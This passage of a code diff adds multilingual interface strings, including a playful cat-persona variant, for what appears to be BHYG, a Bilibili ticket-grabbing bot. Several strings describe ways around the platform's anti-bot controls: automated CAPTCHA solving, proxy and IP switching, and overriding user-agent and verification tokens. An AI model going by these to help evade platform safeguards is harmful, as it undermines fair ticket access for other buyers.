"已选择购票人:{} {} {}", + "show_all_price_e_ticket": "共 {} 张 {} 票,单张价格为 CN¥{:.2f},总价为 CN¥{:.2f}", + "id_bind_single": "本项目只能购买一人票", + "qr_login": "请使用Bilibili手机客户端扫描二维码", + "login_success": "登录成功", + "login_failed": "登录时出现错误,可能是风控导致的。请更换登录方式或稍后再试", + "login_not_supported": "暂不支持该登录方式", + "exit_manual": "已手动退出", + "error_occured": "程序出现错误,错误信息:{} 错误追踪ID:{}", + "exit_sleep_15s": "已安全退出,您可以关闭窗口(将在15秒后自动关闭)", + "not_begin": "未开放购票", + "has_end_buy": "已停售", + "cannot_buy": "不可售", + "has_end": "已结束", + "sold_out": "已售罄", + "pro_tem_sold_out": "暂时售罄,即将放票", + "free_not_supported": "免费票,程序尚未适配", + "show_all_price_paper_ticket": "共 {} 张 {} 票,单张价格为 CN¥{:.2f},纸质票,邮费为 CN¥{:.2f},总价为 CN¥{:.2f}", + "unk_status": "未知状态:", + "now_mode_time_on": "当前为定时抢票模式", + "now_waiting_time": "等待到达开票时间...", + "now_waiting_info": "等待中,距离开票时间还有{:.2f}秒", + "now_wake_up": "唤醒!即将开始抢票!", + "add_address": "没有收货地址,请先添加收货地址", + "please_select_address": "请选择收货地址", + "already_select_address": "已选择收货地址: {} {} {}", + "add_contact_info": "请添加联系人信息", + "add_contact_name": "联系人姓名:", + "add_contact_tel": "联系人手机号", + "add_buy_tickets": "请输入票数", + "input_phone_num": "请输入手机号", + "input_auto_verify": "请稍候,正在执行自动验证...", + "input_verify_fail": "验证失败,请重新验证", + "input_verify_success": "验证成功", + "sms_code_send_ok": "验证码发送成功", + "input_sms_code": "请输入验证码", + "beta_test_func": "该方法尚在测试中", + "input_user_name": "请输入用户名", + "input_user_password": "请输入密码", + "request_too_slow": "PS: 请求超时,请快一点", + "need_2nd_verify": "需要二次验证", + "phone_banded": "已经绑定手机号", + "will_send_sms": "即将给该手机号发送验证码: ", + "choose_sns_login": "请选择第三方客户端登录方式", + "sns_micromessage": "微信", + "sns_qq": "QQ", + "sns_microblog": "微博", + "open_in_browser": "请在浏览器中打开上面的链接并登录, 然后复制重定向的链接(即提示'校验失败,请重试~'的网址)", + "input_redirect": "请输入重定向链接", + "connect_link_error": "链接错误,请重新登录", + "connect_no_account": "该平台未绑定B站账号", + "bi_login_method": "请选择登录方法", + "bi_login_cookie": "cookie", + "bi_login_qrcode": "扫描二维码", + "bi_login_user_pass": "输入用户名和密码", + "bi_login_web_sms": "网页版短信验证码", + "bi_login_app_sms": "手机APP版短信验证码", + "bi_login_sns": "第三方客户端", + "bi_input_cookie": "请输入cookie: ", + "bi_illegal_cookie": "cookie不合法", + "eula": "欢迎使用BHYG软件,使用前请阅读EULA(https://github.com/biliticket/BHYG)。若您使用时遇到问题,请查阅biliticket文档(https://docs.bitf1a5h.eu.org/)\n特别提醒,根据EULA,严禁任何形式通过本软件盈利。若您同意本软件EULA,请键入:我已阅读并同意EULA,黄牛倒卖狗死妈\n", + "wrong_input": "输入不正确,请重试", + "agree_eula": "已同意EULA", + "new_version_1": "发现新版本{},请前往 {} 下载并替换软件本体,大小:{:.2f}MB", + "new_version_notify": "更新说明:{}", + "new_version_2": "发现新版本{},请前往 {} 查看", + "update_interrupted": "更新检查被中断", + "update_fail": "更新检查失败", + "update_passed": "已跳过更新检查", + "welcome_new_version": "感谢您升级到最新版本!现在正在为您自动迁移...", + "new_version_ok": "迁移完成", + "check_share": "检测到分享文件,正在导入", + "select_setting": "请选择运行设置", + "select_keep_all": "延续上次启动所有配置", + "select_keep_login": "保留登录信息重新配置", + "select_new_boot": "全新启动", + "select_tools": "进入账户实用工具", + "select_tools_relogin": "进入账户实用工具(重新登录)", + "select_reset": "恢复初始设置", + "select_new_boot_msg": "全新启动,但继承部分信息(若有)", + "select_keep_login_msg": "只沿用登录信息", + "select_keep_all_msg": "使用上次的配置文件", + "select_reset_msg": "此操作将会清除所有数据并恢复初始设置,不可恢复,是否继续?", + "select_reset_ok": "已清除所有数据并恢复初始设置", + "select_reset_cancel": "取消恢复初始设置,请再次启动本程序。", + "time_sync_fail": "时间同步出现错误,将跳过时间检查", + "time_sync_delta": "当前时间偏移:{:.2f}秒,建议校准时间", + "user": "用户", + "user_bigvip": "用户为大会员,距离到期还有{:.2f}天", + "hunter_mode": "已启用猎手模式", + "hunter_grade": "战绩:{}张", + "login_failure": "登录失败", + "buyer_name": "请输入购票人姓名:", + "id_type": "请选择证件类型", + "id_idcard": "身份证", + "id_passport": "中华人民共和国护照", + "id_Hong_Kong": "港澳居民来往内地通行证", #Hong Kong-Macau laissez-passer + "id_Taiwan": "台湾居民来往大陆通行证", #Mainland travel permit for Taiwan residents + "in_id_serial_number": "请输入购票人证件号码:", + "in_phone_number": "请输入购票人手机号码:", + "join_success": "添加成功", + "modify_ua": "请输入您要覆盖的UA:", + "modify_gaia_vtoken": "请输入您的gaia_vtoken:", + "hunter_mode_on": "猎手模式已开启(归零)", + "hunter_mode_off": "猎手模式已关闭", + "share_mode": "分享模式已启动", + "auto_quit": "自动退出中……", + "pushplus_token": "请输入您的PushPlus Token(留空关闭):", + "pushplus_off": "PushPlus推送已关闭", + "pushplus_on": "PushPlus推送已开启", + "webhook": "请输入您的WebHook URL:", + "webhook_off": "WebHook推送已关闭", + "webhook_on": "WebHook推送已开启", + "input_your_phone": "请输入您的手机号码:", + "save_your_phone": "手机号码已保存", + "input_rrocr_key": "请输入RROCR KEY:", + "select_tool" : "请选择您要使用的实用工具", + "tool_add_buyer" : "添加购票人", + "tool_modify_ua" : "覆盖默认UA", + "tool_modify_gaia" : "覆盖gaia_vtoken", + "tool_hunter_mode" : "开启猎手模式(计数清零)", + "tool_hunter_off" : "关闭猎手模式", + "tool_share_mode" : "分享模式", + "tool_pushplus" : "PushPlus推送", + "tool_webhook" : "WebHook推送", + "tool_phone_prefill": "预填绑定手机号", + "tool_proxy_setting": "代理设置", + "tool_capacha_mode" : "选择验证码模式", + "back" : "返回", + "tool_not_supported": "暂不支持此功能", + "wait_get_token": "等待到达开票时间以获取token...", + "get_token_finish": "准备完毕, 获取token中...", + "will_pay_bill": "即将开始下单", + "network_timeout": "网络连接超时", + + "wind_control": "可能被业务风控\n该种业务风控请及时暂停,否则可能会引起更大问题。", + "net_method": "你也可以尝试更换网络环境,如重启流量(飞行模式开关)重新拨号(重启光猫)等", + "res_3_returns": "请确认排除问题后按三下回车继续", + "res_2_returns": "请再按两下回车继续", + "res_1_return": "请再按一下回车继续", + "no_found_screen": "未找到场次", + "no_found_sku": "未找到票档", + "may_wind_control": "可能被风控", + "info_confirmed": "信息已确认", + "info_discount": "检测到优惠活动", + "info_no_ticket": "未开放购票或被风控,请检查配置问题,休息1s", + "info_bill_ok": "成功准备订单", + "info_bill_fail": "确认订单失败", + "info_wind_control": "触发风控。", + + "type_captcha": "类型:验证码 ", + "type_mobile": "类型:手机验证", + "type_sms": "类型:短信验证", + "unsupport_sms": "暂不支持短信验证,请参考高级用户指南手动填入风控信息", + "type_text": "类型:文字验证码", + "unsupport_text": "暂不支持文字验证码验证,请参考高级用户指南手动填入风控信息", + "unknown_wind": "未知风控类型", + "unsupport_captcha": "暂不支持该验证,请参考高级用户指南手动填入风控信息", + "pause_60s": "暂停60s", + "bill_serial": "订单号:", + "bill_pay_hint": "请在微信/支付宝/QQ中扫描以下二维码,完成支付", + "bill_qr": "二维码内容:", + "bill_open": "或打开", + "bill_pay_ok": "完成支付", + "bill_manual": "请手动完成支付", + "bill_fail": "购票失败", + "pay_ok": "订单支付成功,祝您游玩愉快!", + "bill_cancel": "订单已取消", + "status_unknown": "当前状态未知", + "quit_login": "已退出登录", + "logout_fail": "退出登录失败", + "wait_4_96s": "等待4.96秒", + "ticketless": "无票", + "ticket_unbuyable": "票种不可售", + "slowdown_5s": "慢一点(强制5秒)", + "bili_speed_limit": "小电视速率限制", + "tokenless": "token失效", # "不是,哥们,你token呢?", + "bill_push_ok": "成功尝试下单!正在检测是否为假票", + "BHYG_notify": "BHYG通知", + "rob_ok_paying": "抢票成功,等待支付,订单号 ", + "notify_ok": "已发送通知,流水号 ", + "notify_fail": "通知发送失败,返回信息 ", + "unpaid_bill": "订单未支付,正在等待", + "fake_ticket": "假票,继续抢票", + "rob_already_ok": "已经抢到了啊喂!", + "ticket_sto_less": "库存不足", + "unknown_error": "未知错误:", + "whitelist": "当前处于白名单模式,你的机器不在白名单", + "blacklist": "当前处于黑名单模式,你的机器在黑名单", + "version_not_allowed": "当前版本不允许使用,请更新到最新版本", + "policy_error": "获取配置失败,正在重试…", + "policy_get_failed": "重试失败,非法运行,请确认可以访问bhyg.bitf1a5h.eu.org,即将退出", + }, + i18n_tuple[1]: { + "data_error": "Data error! Environment is not OK!", + "migrate_share": "Shared-data detected. Migrating shared-data.", + "has_destroyed": "Original data has destroyed safety.", + "pay_success": "Paid successfully!", + "hunter_prompt": "You've grabbed {} ticket(s).", + "choose_mode": "Choose your ticket grabbing mode", + "start_up": "Homepage: https://github.com/biliticket/BHYG GPL-3.0", + "mode_time": "Schedule ticket grabbing based on project invoicing time.", + "mode_direct": "Direct grabbing", + "mode_detect": "Detect-remain grabbing", + "mode_time_on": "Timed grabbing is on.", + "mode_direct_on": "Direct grabbing is on.", + "mode_detect_on": "Detect-remain grabbing is on.", + "input_status_delay": "Input detect-delay (412 ERROR probability)(sec)", + "input_is_use_proxy": "Use proxy.", + "input_proxy": "Input proxy info.", + "input_proxy_channel": "Input proxy channel (0=Don't specify)", + "test_proxy": "Trying to visit bilibili. IP: {}", + "common_project_id": "Common projects' ID:", + "empty": "Empty", + "input_project_id": "Input your project id", + "not_handled_412": "412 ERROR! Contact BHYG owner.", + "manual_change_ip": "Manual switch IP to: {}.", + "project_id_not_found": "Project ID not found!", + "server_no_response": "Server no response.", + "not_salable": "Unsalable.", + "project_name": "Project name: {}.", + "captcha_mode_not_supported": "Unsupported CAPTCHA code mode.", + "input_use_captcha_mode": "Select the CAPTCHA code mode.", + "local_gt": "Local Geetest module.", + "rrocr": "RROCR", + "manual": "Manual", + "no_proxy_by_default": "Default is no proxy.", + "captcha_mode_gt_by_default": "Default is using local Geetest module.", + "wrong_proxy_format": "Wrong format.", + "no_screen": "No screen.", + "yes": "Yes", + "no": "No", + "select_screen": "Select a session.", + "select_sku": "Select an SKU.", + "show_screen": "Session: {}.", + "show_sku": "SKU: {}.", + "show_act": "Promotional is on. Activity ID: {}.", + "buyer_empty": "No buyer found. Please add buyer.", + "select_buyer": "Select buyer. (Press space to select buyer, press return to finish)", + "selected_buyer": "Selected buyer: {} {} {}", + "show_all_price_e_ticket": "Totally {} piece(s) {} ticket(s). One piece price: CN¥{:.2f},Totally price: CN¥{:.2f}", + "id_bind_single": "This project can only purchase one person tickets", + "qr_login": "Scan QR with Bilibili mobile app.", + "login_success": "Login successfully.", + "login_failed": "Login failed. Please change your login method or try again later.", + "login_not_supported": "This way is unsupported.", + "exit_manual": "Manually quit.", + "error_occured": "Program ERROR! {} ERROR ID: {}", + "exit_sleep_15s": "Quit safely. This window will be auto closed in 15s.", + "not_begin": "Not begin", + "has_end_buy": "Finish buying", + "cannot_buy": "Cannot buy", + "has_end": "Has finished", + "sold_out": "Sold out", + "pro_tem_sold_out": "Temporarily sold out", + "free_not_supported": "Free ticket. Temporarily not supported", + "show_all_price_paper_ticket": "Totally {} piece(s) {} ticket(s). One piece price: CN¥{:.2f} Postage: CN¥{:.2f}, Totally price: CN¥{:.2f}", + "unk_status": "Unknown status:", + "now_mode_time_on": "Now is timed grabbing mode", + "now_waiting_time": "Waiting for sale...", + "now_waiting_info": "Waiting for sale... {:.2f}sec left", + "now_wake_up": "Wake up! About to grab tickets!", + "add_address": "No delivery address. Please add one.", + "please_select_address": "Select a delivery address.", + "already_select_address": "Selected delivery address: {} {} {}", + "add_contact_info": "Please add a contact information.", + "add_contact_name": "contact name:", + "add_contact_tel": "contact phone number:", + "add_buy_tickets": "How many tickets to buy:", + "input_phone_num": "Please enter your phone number.", + "input_auto_verify": "Please wait for automatic captcha...", + "input_verify_fail": "Captcha failed", + "input_verify_success": "Captcha OK", + "sms_code_send_ok": "SMS code send OK", + "input_sms_code": "Please enter your SMS code", + "beta_test_func": "Method is in development", + "input_user_name": "Enter your user name", + "input_user_password": "Enter your password", + "request_too_slow": "PS: Request timeout, please hurry", + "need_2nd_verify": "Need 2nd verify", + "phone_banded": "Phone has been bound", + "will_send_sms": "Will be sent an SMS: ", + "choose_sns_login": "Please select the 3rd-party client login method", + "sns_micromessage": "Wechat", + "sns_qq": "QQ", + "sns_microblog": "Weibo", + "open_in_browser": "Open the link above in browser, and copy redirect link", + "input_redirect": "Enter the redirect link", + "connect_link_error": "Link error. Please re login", + "connect_no_account": "No account bound", + "bi_login_method": "Select your login method", + "bi_login_cookie": "cookie", + "bi_login_qrcode": "Scan QR", + "bi_login_user_pass": "Username and password", + "bi_login_web_sms": "Web SMS code", + "bi_login_app_sms": "Mobile APP SMS code", + "bi_login_sns": "3rd-party client", + "bi_input_cookie": "Enter your cookie: ", + "bi_illegal_cookie": "Invalid cookie", + "eula": "Welcome to use BHYG software. Please read EULA(https://github.com/biliticket/BHYG) first.\n" + "If you encounter any problems while using it, please refer to the Biliticket documentation(https://docs.bitf1a5h.eu.org/)\n" + "Special reminder, according to EULA, it is strictly prohibited to make profits through this software in any form.\n" + "If you agree, please copy below (press Control+Insert to copy and Shift+Insert to paste): 我已阅读并同意EULA,黄牛倒卖狗死妈\n", + "wrong_input": "Wrong input. Please retry", + "agree_eula": "Agreed EULA", + "new_version_1": "New version {} available. Go to {} to download and replace. Size {:.2f}MB", + "new_version_notify": "Update note: {}", + "new_version_2": "New version {} available. Go to {}", + "force_update_1": "Due to the anti-abuse mechanism, this update requires a mandatory update, which continues to be used after the update.", + "force_update_2": "You can open the download address and then close this window.", + "update_interrupted": "Update check is interrupted.", + "update_fail": "Update check failed.", + "force_require_update": "The program is forbidden to run. Please try again or change the network environment.", + "update_passed": "Update check skipped.", + "welcome_new_version": "Thank you for upgrading to the latest version! The data is now being migrated automatically for you.", + "new_version_ok": "Migration complete.", + "check_share": "Shared file detected, importing", + "select_setting": "Select run settings", + "select_keep_all": "Continue all configurations started last time", + "select_keep_login": "Keep login information for reconfiguration", + "select_new_boot": "Fresh start", + "select_tools": "Go to the account utility", + "select_tools_relogin": "Relogin and go to the account utility", + "select_reset": "Restore initial Settings", + "select_new_boot_msg": "Fresh start, but inherit some information (if any)", + "select_keep_login_msg": "Stick with login information only", + "select_keep_all_msg": "Use the last config file", + "select_reset_msg": "This operation will erase all the data and restore the initial Settings, not recoverable, whether to continue?", + "select_reset_ok": "All data has been cleared and initial Settings restored", + "select_reset_cancel": "Cancel the recovery of the initial Settings, please start the program again.", + "time_sync_fail": "Time synchronization failed. Skip.", + "time_sync_delta": "Current time offset: {:.2f}s, advice to calibrate time", + "user": "user", + "user_bigvip": "user is Bilibili Big-VIP, There are {:.2f} days until expiration.", + "hunter_mode": "Hunter mode is on", + "hunter_grade": "Hunted {} piece(s)", + "login_failure": "Login failed", + "buyer_name": "Please enter buyer name:", + "id_type": "Please select the document type", + "id_idcard": "Second generation ID card", + "id_passport": "Chinese Passport", + "id_Hong_Kong": "Mainland Travel Permit for Hong Kong and Macao residents", #Hong Kong-Macau laissez-passer + "id_Taiwan": "Mainland Travel permit for Taiwan residents", #Mainland travel permit for Taiwan residents + "in_id_serial_number": "Enter buyer's ID number:", + "in_phone_number": "Enter buyer's phone number:", + "join_success": "Join successfuly", + "modify_ua": "Enter the UA you want to overwrite: ", + "modify_gaia_vtoken": "Enter your gaia_vtoken:", + "hunter_mode_on": "Hunter mode is on and reset to 0.", + "hunter_mode_off": "Hunter mode is off", + "share_mode": "Share mode is on", + "auto_quit": "automatically quit...", + "pushplus_token": "Enter your PushPlus Token (blank to disable):", + "pushplus_off": "PushPlus is off", + "pushplus_on": "PushPlus is on", + "webhook": "Enter your WebHook URL: ", + "webhook_off": "WebHook is off", + "webhook_on": "WebHook is on", + "input_your_phone": "Enter your phone number:", + "save_your_phone": "Phone number saved.", + "input_rrocr_key": "Enter RROCR KEY:", + "select_tool" : "Select the utility you want to use", + "tool_add_buyer" : "Add buyer", + "tool_modify_ua" : "Overwrite default UA", + "tool_modify_gaia" : "Overwrite gaia_vtoken", + "tool_hunter_mode" : "Turn on hunter mode (reset to 0)", + "tool_hunter_off" : "Turn off hunter mode", + "tool_share_mode" : "Turn on share mode", + "tool_pushplus" : "PushPlus settings", + "tool_webhook" : "WebHook settings", + "tool_phone_prefill": "Pre-fill binding phone number", + "tool_proxy_setting": "Proxy settings", + "tool_capacha_mode" : "Select Captcha mode", + "back" : "back", + "tool_not_supported": "Not supported yet", + "wait_get_token": "Wait for the billing time to get the token...", + "get_token_finish": "Ready, getting token...", + "will_pay_bill": "Start order soon", + "network_timeout": "Network timeout", + + "wind_control": "May be risk control.\nThis kind of risk control must suspend in time, otherwise it may cause more problems.", + "net_method": "You can also try to change the network environment (IP), such as restarting modem.", + "res_3_returns": "Please confirm the problem and hint return 3 times to continue", + "res_2_returns": "2 left", + "res_1_return": "1 left", + "no_found_screen": "No screen found", + "no_found_sku": "No SKU found", + "may_wind_control": "May be risk controlled", + "info_confirmed": "Information confirmed", + "info_discount": "Promotional event detected", + "info_no_ticket": "Not buyable or be risk controlled, Please check config. Delay 1s.", + "info_bill_ok": "Order prepared successfully", + "info_bill_fail": "Order prepared failed", + "info_wind_control": "Trigger risk control.", + + "type_captcha": "Type: captcha ", + "type_mobile": "Type: mobile verification", + "type_sms": "Type: SMS verification", + "unsupport_sms": "SMS verification isn't supported.", + "type_text": "Type: Chinese characters verification", + "unsupport_text": "Chinese characters verification isn't supported.", + "unknown_wind": "Unknown risk control", + "unsupport_captcha": "Verification isn't supported.", + "pause_60s": "Pause for 60s", + "bill_serial": "Order ID:", + "bill_pay_hint": "Scan QR with Wechat, QQ or Alipay to pay", + "bill_qr": "QR code content: ", + "bill_open": "Or open", + "bill_pay_ok": "to pay", + "bill_manual": "Please manually pay", + "bill_fail": "buy ticket failed.", + "pay_ok": "Paid successfully, wish you a pleasant visit!", + "bill_cancel": "Order cancelled", + "status_unknown": "Unknown status", + "quit_login": "Already logout", + "logout_fail": "Logout failed", + "wait_4_96s": "Wait for 4.96s", + "ticketless": "Ticketless", #无票 + "ticket_unbuyable": "Ticket unbuyable", #票种不可售 + "slowdown_5s": "Sleep for 5s", + "bili_speed_limit": "Bilibilimit", # 小电视速率限制 + "tokenless": "Tokenless", # "不是,哥们,你token呢?", + "bill_push_ok": "Order placed! Checking for fake ticket", + "BHYG_notify": "BHYG Notify", + "rob_ok_paying": "Ticket grabbed! Waiting for payment. Order No. ", + "notify_ok": "Notification sent, Serial No. ", + "notify_fail": "Notification send failed. Return: ", + "unpaid_bill": "Order not paid and waiting to pay", + "fake_ticket": "Fake ticket. Continue to grab", + "rob_already_ok": "Already grabbed a ticket!", + "ticket_sto_less": "Out of stock", + "unknown_error": "Unknown error:", + "whitelist": "Currently in whitelist mode, your machine is not in whitelist.", + "blacklist": "Currently in blacklist mode, your machine is in blacklist.", + "version_not_allowed": "The current version is not allowed, please update to the latest version.", + "policy_error": "Failed to get configuration. Retrying...", + "policy_get_failed": "Retry failed, illegal operation. Please confirm that you can access bhyg.bitf1a5h.eu.org. Program will exit.", + }, + i18n_tuple[2]: { + "data_error": "数据错误喵~,运行需要的小窝不符合本猫的需要喵~", + "migrate_share": "检测到原主人的分享文件,正在迁移喵~", + "has_destroyed": "原数据被我销毁了喵°", + "pay_success": "购票成功了喵!", + "hunter_prompt": "猎手,你的战绩:{}张喵~", + "choose_mode": "请选一下 让我如何抢票喵~", + "start_up": "项目主页: https://github.com/biliticket/BHYG GPL-3.0 删除本信息或盗版必究喵~。", + "mode_time": "等到展子开票时间蹲点开启抢票喵~", + "mode_direct": "直接抢票喵~", + "mode_detect": "检测详情界面余票后抢票喵~", + "mode_time_on": "我已经准备好蹲点抢票喵!", + "mode_direct_on": "我已经准备好直接抢票喵`", + "mode_detect_on": "我已经准备好检测详情界面余票后抢票喵~", + "input_status_delay": "请给我检测票务信息间隔的秒数喵~(该选项影响412风控概率)", + "input_is_use_proxy": "是否使用代理喵~", + "input_proxy": "请给我代理认证信息喵~", + "input_proxy_channel": "请给我代理需要走的通道(0则不给我)喵~", + "test_proxy": "尝试访问B站,我现在的IP地址为:{}喵~", + "common_project_id": "本猫推荐你去的几个展子id如下喵~:", + "empty": "打咩, 暂时没有喵~", + "input_project_id": "请给我展子id喵~", + "not_handled_412": "被叔叔的412风控了喵~,请联系作者喵~", + "manual_change_ip": "手动切换,当前IP为:{}喵~", + "project_id_not_found": "本猫暂时还没有发现这个展子ID喵~", + "server_no_response": "叔叔的服务器无返回喵~", + "not_salable": "主人, 这个展子的票不可售喵~", + "project_name": "展子名称:{}喵~", + "captcha_mode_not_supported": "本猫暂不支持该验证码模式喵~", + "input_use_captcha_mode": "请斟酌你给我使用的验证码自动通过模式喵~", + "local_gt": "本地GeeTest模块喵~", + "rrocr": "RROCR喵~", + "manual": "劳驾亲手过验证码喵~", + "no_proxy_by_default": "默认不用代理喵~", + "captcha_mode_gt_by_default": "默认使用本地GeeTest模块喵~", + "wrong_proxy_format": "你给我的数据格式错误,请再一次, 认认真真的输入GeeTest喵~", + "no_screen": "叔叔暂是还没有更新票档信息喵~", + "yes": "是喵~", + "no": "否喵!", + "select_screen": "请选择你想去哪一场喵^", + "select_sku": "请选择票的档次>喵<", + "show_screen": "场次:{}", + "show_sku": "票档:{}", + "show_act": "已开启优惠活动:活动ID {}喵~", + "buyer_empty": "本喵没有找到购票人,请喂我实名购票人喵!", + "select_buyer": "请选一个我见过的购票人喵~ (摸一下我的空格键选购票人, 回车确认喵~)", + "selected_buyer": "已选择购票人:{} {} {} 喵~", + "show_all_price_e_ticket": "共 {} 张 {} 票,单张价格为 CN¥{:.2f},总价为 CN¥{:.2f}喵$", + "id_bind_single": "本项目只能购买一人票喵@", + "qr_login": "请用Bilibili手机APP扫描本猫身上的二维码喵~", + "login_success": "登录成功了喵~", + "login_failed": "登录时出现错误,可能是风控导致的喵。请更换登录方式或稍后再试喵$", + "login_not_supported": "暂不支持该登录方式喵@", + "exit_manual": "已手动退出...了...喵...zzz", + "error_occured": "程序出现错误,错误信息:{} 错误追踪ID:{}", + "exit_sleep_15s": "已安全退出,您可以关闭窗口(将在15秒后自动关闭)喵~@(>哈欠<)@~", + "not_begin": "未开放购票nia。。。", + "has_end_buy": "已停售呃@", + "cannot_buy": "不可售呜啊~", + "has_end": "已结束呜。", + "sold_out": "已售罄呃啊!", + "pro_tem_sold_out": "暂时没票了,即将放票, 蹲蹲别人退的票>喵<", + "free_not_supported": "免费票,程序尚未适配喵!", + "show_all_price_paper_ticket": "共 {} 张 {} 票,单张价格为 CN¥{:.2f},纸质票,邮费为 CN¥{:.2f},总价为 CN¥{:.2f}喵$", + "unk_status": "未知身体状况:", + "now_mode_time_on": "现在我是在定时蹲点抢票模式喵!", + "now_waiting_time": "等待叔叔开票...", + "now_waiting_info": "等的有些累了,不过距离开票时间还有{:.2f}秒, 快了喵!", + "now_wake_up": "唤醒!即将开始抢票!", + "add_address": "没有收货地址喵~,请先喂我收货地址喵!", + "please_select_address": "请选择收货地址喵~", + "already_select_address": "已选择收货地址: {} {} {}喵^", + "add_contact_info": "请喂我联系人信息喵~", + "add_contact_name": "联系人姓名:", + "add_contact_tel": "联系人手机号", + "add_buy_tickets": "请给我你想买几张票喵~", + "input_phone_num": "请给我手机号喵~", + "input_auto_verify": "请稍后,正在执行自动验证...喵`内~", + "input_verify_fail": "验证失败,请重新验证呜啊!", + "input_verify_success": "验证成功喵~", + "sms_code_send_ok": "验证码发送成功喵!", + "input_sms_code": "请给我验证码喵~", + "beta_test_func": "该方法尚在测试中喵~", + "input_user_name": "请给我用户名喵~", + "input_user_password": "请给我密码喵~", + "request_too_slow": "PS: 请求超时,请路由器再给力一点喵~", + "need_2nd_verify": "需要二次验证喵!", + "phone_banded": "已经绑定手机号", + "will_send_sms": "即将给该手机号发送验证码喵~: ", + "choose_sns_login": "请选择第三方客户端登录方式喵~", + "sns_micromessage": "小而美的巨信喵! (微信)", + "sns_qq": "虚幻引擎3A聊天大作喵~ (QQ)", + "sns_microblog": "舆论垃圾桶喵! (微博)", + "open_in_browser": "请在浏览器中轻轻点一下上面的链接并登录, 然后复制重定向的链接(即提示'校验失败,请重试~'的网址)喵~", + "input_redirect": "请给我重定向链接喵~", + "connect_link_error": "链接错误,请重新登录喵啊!", + "connect_no_account": "你这个平台上没有绑定B站账号喵~", + "bi_login_method": "请选择登录方法喵~", + "bi_login_cookie": "曲奇饼干咪~ (cookie)", + "bi_login_qrcode": "扫我身上的二维码喵~", + "bi_login_user_pass": "输入用户名和密码咩~", + "bi_login_web_sms": "网页版短信验证码喵~", + "bi_login_app_sms": "手机APP版短信验证码呜~", + "bi_login_sns": "第三方客户端nia~", + "bi_input_cookie": "请给我曲奇饼干喵!: (cookie)", + "bi_illegal_cookie": "曲奇饼干不好吃啊呸!", + "eula": "欢迎使用BHYG软件,使用前请阅读EULA(https://github.com/biliticket/BHYG)。若您使用时遇到问题,请查阅biliticket文档(https://docs.bitf1a5h.eu.org/)\n特别提醒,根据EULA,严禁任何形式通过本软件盈利。若您同意本软件EULA,请键入:我已阅读并同意EULA,黄牛倒卖狗死妈\n", + "wrong_input": "输入不正确,请重试", + "agree_eula": "已同意EULA", + "new_version_1": "发现新版本{},请前往 {} 下载并替换软件本体,大小:{:.2f}MB喵~", + "new_version_notify": "更新说明:{}喵~", + "new_version_2": "发现新版本{},请前往 {} 查看喵~", + "force_update_1": "由于rua我的人太多,这一次更新似乎是不可避免的更新喵,更新后再来rua我喵~", + "force_update_2": "你可以打开下载地址后关闭本窗口喵~", + "update_interrupted": "更新检查被中断喵~", + "update_fail": "更新检查失败喵~", + "force_require_update": "程序禁止运行,请重试或更换网络环境呜啊!!", + "update_passed": "更新检查帮你跳过了喵~", + "welcome_new_version": "升到最新, 神清气爽喵!正在为您自动迁移我的新小窝喵~...", + "new_version_ok": "迁移成功喵!", + "check_share": "检测到分享文件,正在导入喵~", + "select_setting": "请给我选一个运行设置喵!", + "select_keep_all": "延续上次启动所有配置喵@", + "select_keep_login": "保留登录信息重新配置喵#", + "select_new_boot": "全新启动喵$", + "select_tools": "进入账户实用工具喵^", + "select_tools_relogin": "进入账户实用工具(重新登录)喵&", + "select_reset": "恢复初始设置喵*", + "select_new_boot_msg": "全新启动喵$,但继承部分信息(若有)", + "select_keep_login_msg": "只沿用登录信息喵~", + "select_keep_all_msg": "使用上次的配置文件喵~", + "select_reset_msg": "此操作将会清除所有数据并恢复初始设置,不可恢复,是否继续喵?", + "select_reset_ok": "已清除所有数据并恢复初始设置喵~", + "select_reset_cancel": "取消恢复初始设置,请再次启动本程序喵~", + "time_sync_fail": "呜啊呜啊, 时间同步呜啊呜啊了,不检查时间了咪~", + "time_sync_delta": "当前时间偏移:{:.2f}秒,建议校准时间喵~", + "user": "用户", + "user_bigvip": "你是尊贵的大大大大会员咪~,距离到期还有{:.2f}天喵~", + "hunter_mode": "已启用猎手模式喵~", + "hunter_grade": "战绩:{}张喵~", + "login_failure": "登录失败打咩~", + "buyer_name": "请给我购票人姓名喵~:", + "id_type": "请选择证件类型喵~", + "id_idcard": "身份证", + "id_passport": "中华人民共和国护照", + "id_Hong_Kong": "港澳居民来往内地通行证", #Hong Kong-Macau laissez-passer + "id_Taiwan": "台湾居民来往大陆通行证", #Mainland travel permit for Taiwan residents + "in_id_serial_number": "请给我购票人证件号码喵~:", + "in_phone_number": "请给我购票人手机号码喵~:", + "join_success": "添加成功喵!", + "modify_ua": "请给我您要覆盖的UA:", + "modify_gaia_vtoken": "请给我您的gaia_vtoken喵~:", + "hunter_mode_on": "猎手模式已开启(归零)咪~", + "hunter_mode_off": "猎手模式已关闭咪~", + "share_mode": "分享模式已启动喵~", + "auto_quit": "呜啊~好困~自动退出中喵zzz……", + "pushplus_token": "请给我您的PushPlus Token(留空关闭)喵~:", + "pushplus_off": "PushPlus推送已关闭喵~", + "pushplus_on": "PushPlus推送已开启喵~", + "webhook": "请给我您的WebHook URL(留空关闭)喵~:", + "webhook_off": "WebHook推送已关闭喵~", + "webhook_on": "WebHook推送已开启喵~", + "input_your_phone": "请给我您的手机号码喵~:", + "save_your_phone": "手机号码已保存喵~", + "input_rrocr_key": "请给我RROCR KEY喵~:", + "select_tool" : "请选择您要使用的实用工具喵*", + "tool_add_buyer" : "喂我购票人>喵<", + "tool_modify_ua" : "覆盖默认UA咪~", + "tool_modify_gaia" : "覆盖gaia_vtoken=喵=", + "tool_hunter_mode" : "开启猎手模式(计数清零)喵#", + "tool_hunter_off" : "关闭猎手模式喵^", + "tool_share_mode" : "分享模式喵~", + "tool_pushplus" : "PushPlus推送咪~", + "tool_webhook" : "WebHook推送咪~", + "tool_phone_prefill": "预填绑定手机号咪&", + "tool_proxy_setting": "代理设置喵`", + "tool_capacha_mode" : "选择验证码模式喵!", + "back" : "返回", + "tool_not_supported": "暂不支持此功能咩~", + "wait_get_token": "等待到达开票时间以获取token喵~...", + "get_token_finish": "准备完毕, 获取token中喵~...", + "will_pay_bill": "即将开始下单喵~", + "network_timeout": "网络连接超时呜!", + + "wind_control": "可能被业务风控\n该种业务风控请及时暂停,否则可能会引起更大问题喵~。", + "net_method": "你也可以尝试更换网络环境,如重启流量(飞行模式开关)重新拨号(重启光猫)等", + "res_3_returns": "请确认排除问题后按三下回车继续喵~", + "res_2_returns": "加油!还剩两下#喵#", + "res_1_return": "还有一下=喵=", + "no_found_screen": "未找到场次喵!", + 